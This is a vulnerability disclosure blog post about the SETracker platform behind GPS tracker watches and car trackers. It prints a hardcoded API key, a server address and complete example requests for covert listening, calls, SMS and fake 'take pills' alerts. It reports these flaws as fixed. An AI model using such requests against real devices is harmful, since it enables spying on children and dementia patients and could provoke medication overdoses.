Blog: Internet Of Things

Hacking smart devices to convince dementia sufferers to overdose

Vangelis Stykas 09 Jul 2020

We’ve looked at numerous smart tracker watches over recent years. All had some disastrous security flaws.

However, we found one recently that was a little different: it was aimed at the elderly, particularly those with dementia or other cognitive impairments.

If the wearer goes for a walk and forgets their way home, which can be a real problem for dementia sufferers, their carer can easily track them with a mobile application. The watch also allows the wearer to trigger a call to their carer. This is a real relief for carers.

The watch does something else that we felt would be particularly useful during the recent lockdown: the carer could trigger the watch to remind the wearer to take their medication.

If a carer couldn’t visit for reasons of isolation during CV-19, a remote alert to a wearer who wasn’t able to remember for themselves would be very helpful.

And this is where it all went wrong

Like every smart tracker watch we’ve looked at, anyone with some basic hacking skills could track the wearer, audio bug them using the watch, or perhaps worst, could trigger the medication alert as often as they want.

A dementia sufferer is unlikely to remember that they had already taken their medication. An overdose could easily result.

The same manufacturer also makes tracker watches for children on the same cloud platform. We could trigger the ‘Take Pills’ alert on kids watches too. I’m sure most children would query the alert with their parents, but even if only one was convinced to visit the medicine cabinet….

The app that works with the watches has been downloaded over 10 million times.

Here’s the alert that pops up

Fortunately, the manufacturer in the Far East responded when we alerted them. They fixed the security flaws a few days later, so the attack isn’t possible any more. However, it was possible for a considerable time. We have no idea whether it had been exploited by anyone else, as we would have had to compromised their servers to discover this, which we didn’t have permission to do.

The detailed version

Over the years we have looked at loads of tracking devices including, cars, watches, even ships.

Each vulnerability resulted in more and more individual brands fixing issues. We considered risks to the person, the vehicle, the owners, we considered risks to the platform, we even looked at how you could monetise the vulnerabilities. Still these were edge cases.

Many have looked at cheap kids GPS tracking watches with no name. Most of these watches use SETracker as a backend, the Norwegian Consumer Council had some success getting some brands banned, in some cases regulatory bodies managed to get some functions disabled in certain countries (or so they thought). The comedian Joe Lycett exploited some issues to send a video message to Amazon executives to stop selling these devices.

Most issues range from the comically weak default password (123456) to allowing others to track your children/elderly relatives.

The problem is until now hardly anyone has done more then scratch the surface of the underlying backend service used by these cheap GPS tracking devices – SETracker.  A service that has millions of devices using it in western Europe alone.

No one has looked at the underlying code. No one has looked at how many servers are publicly available and what can be done server side to your children, elderly relatives or even your car. No one has gone further to examine how SETracker are abusing the trust individuals put in them.

We did exactly that.

Is this yet another cheap Chinese kids GPS watch story? No, this is much more than just kids watches. The SETracker platform supports, automotive trackers, including both car and motorcycle, often embedded in audio head units and dementia trackers for your elderly relatives.  The vulnerabilities discovered could allow control over ALL of these devices.

TL;DR

We found we could through an unrestricted server to server API we were able to:

  • Make a device call any phone number
  • Make a device send SMS with any text
  • Call any device
  • Spy on any device (even on countries like Germany that this functionality was supposedly disabled)
  • Fake a message from a parent
  • Kill the engine of a car tracker (it should be noted, SETracker does more than just track kids/elders)
  • Access the camera of all devices with a camera
  • Send a TAKEPILLS command to the device to remind a relative to take medication

Furthermore, due to their source code being publicly available we found:

  • Mysql password on all databases
  • Ali yun file buckets credentials (s3 equivalent with ALL their pictures)
  • Email credentials
  • SMS credentials
  • Redis credentials
  • IPs and services of 16 servers
  • The entire server side source code for SETracker.
  • That default password 123456 – its hard coded in the source code – there is way for a user to change this.

It should be noted that at no point did we access the database, validate any of the credentials or view the pictures that users uploaded.

Who are SETracker

You may not have heard of SETracker. SETracker is the name of an App, well three actually SETracker, SETracker2 and SETracker3, they are all basically the same, the most commonly used version is SEtracker2. They connect to a number of back end servers and are used to connect tracking devices to. The product is owned by a Chinese company called 3G Electronics, based out of Shenzhen City.

It’s unclear how many devices SETracker hosts worldwide, but the vast majority of the low end watches on Amazon and other retailers are based on SETracker or SETracker 2. We can see at least 10m downloads of the app in the UK alone and on the API we estimate at least 1m in western Europe.

They produce their own tracking devices too, however, they are mostly known for the SEtracker service.

Finding bugs

You may be wondering, how did we find all these bugs.

They were hosting a backup of their source code as a compiled node file that could be downloaded from http://ser.3g-elec.com.

We set about reviewing the thousands of lines of code for further weaknesses. The node file was downloaded and reviewed, initially we wanted to see if we could identify how large SETracker really is and how many devices are serviced by it.

How big is SETracker

We identified at least 16 servers, but up to 20 instances supporting the worldwide business.

These services are hosted on the Alibaba Cloud and Amazon AWS and are linked with a server to server API.

Unrestricted Server to Server API

The application was using a server-to-server HTTP API with its only requirement being a semi-random string which was hardcoded to the code:

testssdfsdtiiskegfosssiIEROOJ9082035sdjksKLF89KHksjei39401sfKSJKE32sdfsd8934kisUIFEJkjasdfssefmzntestsdfsdtest

Apart from that there was no other authentication or authorisation required to send commands as if you were a trusted server.

This was trivial to discover,  all we had to do was just read through the compiled javascript code in the node file to understand what the API was doing. With no API restrictions and knowing the API structure we could take over all the devices.

There were 57 commands available in the source code, but these three are the most interesting to us:

                var str="";
                else if(com=='MONITOR')
                                str = 'D18';
                else if(com=='CALL')
                                str = 'D41';
                else if(com=='SMS')
                                str = 'D42';

D18 call someone without visual (‘spying’)

xxxx = device id

yyyy = phone number that you want to listen to

Key:

  • com = what to do
  • dev_id = the device to do it
  • param number = depends on the command

Example Request:

GET /testssdfsdtiiskegfosssiIEROOJ9082035sdjksKLF89KHksjei39401sfKSJKE32sdfsd8934kisUIFEJkjasdfssefmzntestsdfsdtest?com=D18&dev_id=xxxx&param1=yyyy HTTP/1.1

Accept: */*
Cache-Control: no-cache
Postman-Token: 5397ef23-3216-4746-923f-f012f3c1a1dc
Host: 52.28.132.157:8002
Accept-Encoding: gzip, deflate
Connection: close

This vulnerability is present on ALL Setracker servers on port 8002

It is important to note that function D18 is illegal in some European countries, for example by BNetzA

D41 call someone

xxxx = device id

yyyy = phone number that you want to call

Example Request:

GET /testssdfsdtiiskegfosssiIEROOJ9082035sdjksKLF89KHksjei39401sfKSJKE32sdfsd8934kisUIFEJkjasdfssefmzntestsdfsdtest?com=D42&dev_id=xxxx&param1=yyyy&param2=zzzz HTTP/1.1

Accept: */*
Cache-Control: no-cache
Postman-Token: 5397ef23-3216-4746-923f-f012f3c1a1dc
Host: 52.28.132.157:8002
Accept-Encoding: gzip, deflate
Connection: close

D42 send SMS to someone

xxxx = device id

yyyy = phone number that you want to text

zzzz = text that you want to send

Example Request:

GET /testssdfsdtiiskegfosssiIEROOJ9082035sdjksKLF89KHksjei39401sfKSJKE32sdfsd8934kisUIFEJkjasdfssefmzntestsdfsdtest?com=D42&dev_id=xxxx&param1=yyyy&param2=zzzz HTTP/1.1

Accept: */*
Cache-Control: no-cache
Postman-Token: 5397ef23-3216-4746-923f-f012f3c1a1dc
Host: 52.28.132.157:8002
Accept-Encoding: gzip, deflate
Connection: close

The values of these commands was set in the API call meaning you could use the FIND command to locate the device.

You could use the D40 PW command to change the password on the device, or use the D36 UPGRADE command to push a new firmware to the device.

Commands like D52 RECORD allow you to view the camera, D24/D25 WHITELIST1/2 will add your number to the devices that could call a device.

Some devices also act as an aftermarket immobiliser, meaning you can issue a command to immobilise a vehicle.

Life threatening broadcasts

There was even a command to tell the owner of the watch to TAKEPILLS.

These watches are not just marketed at children, many use them for elderly relatives or family members with dementia. It is trivial to send a command to the watch that prints ‘TAKE PILLS’ on the screen, which could result in dementia patients ‘over dosing’ on their medication, which may be life threatening.

We can’t see any reason why this exists in the code

GET /testssdfsdtiiskegfosssiIEROOJ9082035sdjksKLF89KHksjei39401sfKSJKE32sdfsd8934kisUIFEJkjasdfssefmzntestsdfsdtest?com=TAKEPILLS&dev_id=xxxx&param1=yyyy&param2=zzzz HTTP/1.1

Accept: */*
Cache-Control: no-cache
Host: 52.28.132.157:8002
Accept-Encoding: gzip, deflate
Connection: close

The message can be customised to say anything, in a concerning twist it is possible to use this for cyber bullying. There is no log of the message on the phone and when touched it goes away and so it would be very hard to demonstrate the message is real.

Looking through the source file we discovered a number of sensitive details, including:

Mysql password on all databases

Aliyun file buckets credentials. For those that don’t know, this is the Amazon S3 bucket equivalent on the Alibaba Cloud server.

In a truly shocking breach, the source code indicated that this bucket was where ALL the pictures taken by devices are sent. We have not confirmed that. Given the use case of these devices is predominately children’s trackers it is extremely likely these images will contain images of children.

Other credentials discovered include:

Root credentials for some services

The email credentials for their QQ email service to notify new users of an account and make email alerts to parents/primary accounts

The SMS service credentials, this is used to send SMS notifications to primary accounts or parents

The credentials for multiple Redis services in use in the environment

Their Google API credentials

Their Qingting.fm radio service credentials

Push credentials for multiple phone services

And details of the IPs and services of multiple servers

Restricting the API

We contacted 3g Electronics to ask them to shut down the API, given our (and others) previous efforts to disclose vulnerabilities we didn’t expect to have much success. Surprisingly within 4 days from the initial disclosure, 3G Electronics had modified the server to server API by restricting it to specific IP’s.

Removing the source code

It later transpired the source code was not removed and after some additional chasing the source code was removed on.

We advised 3G Electronics that they may need to notify the relevant regulatory bodies due to the potential breach of personal data.

Disclosure

22nd January 2020 – initial disclosure contact

12th February 2020 – first response from 3G-Electronics

17th February 2020 – full disclosure of server to  server api vulnerabilities

18th February 2020 – 3G-Electronics confirm server api fixed

20th May 2020 – disclosure of node file

29th May 2020 – 3G-Electronics confirm node file removed and all passwords changed

29th May 2020 – PTP confirmed node file removed, requested to validate the changed passwords. 3G-Elec have not confirmed we can validate these and so the credentials are obscured above.